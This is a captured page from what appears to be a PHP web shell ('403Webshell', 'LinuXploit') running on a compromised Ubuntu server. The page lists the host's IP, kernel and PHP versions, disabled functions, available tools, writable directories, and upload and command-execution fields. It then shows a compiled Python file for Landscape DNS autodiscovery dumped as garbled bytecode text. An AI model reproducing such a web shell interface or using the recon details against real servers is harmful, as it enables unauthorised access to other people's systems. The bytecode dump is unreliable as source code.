403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.15
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python2.7/dist-packages/landscape/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.7/dist-packages/landscape/lib/dns.pyc

}9Rc@sZdZddlZddlmZddlmZddddZdZdZ	dS(	s%DNS lookups for server autodiscovery.iN(tdns(tResolvertcCs;|std}nt||}|jt|||S(s
    Look up the dns location of the landscape server.

    @param autodiscover_srv_query_string: The query string to send to the DNS
        server when making a SRV query.
    @param autodiscover_a_query_string: The query string to send to the DNS
        server when making a A query.
    @type resolver: The resolver to use.  If none is specified a resolver that
        uses settings from /etc/resolv.conf will be created. (Testing only)
    s/etc/resolv.conf(Rt_lookup_server_recordt
addErrbackt_lookup_hostname(tautodiscover_srv_query_stringtautodiscover_a_query_stringtresolvertd((s5/usr/lib/python2.7/dist-packages/landscape/lib/dns.pytdiscover_servers
csEd}fd}|j}|j||j||S(s
    Do a DNS SRV record lookup for the location of the landscape server.

    @type resolver: A resolver to use for DNS lookups
        L{twisted.names.client.Resolver}.
    @param service_name: The query string to send to the DNS server when
        making a SRV query.
    @return: A deferred containing either the hostname of the landscape server
        if found or an empty string if not found.
    cSsQd}xD|D]<}x3|D]+}|jtjkr|jjj}PqqWq
W|S(NR(ttypeRtSRVtpayloadttargettname(tresultRtitemtrow((s5/usr/lib/python2.7/dist-packages/landscape/lib/dns.pytlookup_done&s

cstjd|S(NsSRV lookup of %s failed.(tloggingtinfo(R(tservice_name(s5/usr/lib/python2.7/dist-packages/landscape/lib/dns.pyt
lookup_failed/s(t
lookupServicetaddCallbackR(RRRRR	((Rs5/usr/lib/python2.7/dist-packages/landscape/lib/dns.pyRs		

csEd}fd}|j}|j||j||S(s
    Do a DNS name lookup for the location of the landscape server.

    @param result: The result from a call to lookup_server_record.
    @param resolver: The resolver to use for DNS lookups.
    @param hostname: The query string to send to the DNS server when making
        a A query.
    @param return: A deferred containing the ip address of the landscape
        server if found or None if not found.
    cSs|S(N((R((s5/usr/lib/python2.7/dist-packages/landscape/lib/dns.pyRDscstjd|S(NsName lookup of %s failed.(RR(R(thostname(s5/usr/lib/python2.7/dist-packages/landscape/lib/dns.pyRGs(t
getHostByNameRR(RRRRRR	((Rs5/usr/lib/python2.7/dist-packages/landscape/lib/dns.pyR9s	

(
t__doc__Rt
twisted.namesRttwisted.names.clientRtNoneR
RR(((s5/usr/lib/python2.7/dist-packages/landscape/lib/dns.pyt<module>s	

Youez - 2016 - github.com/yon3zu
LinuXploit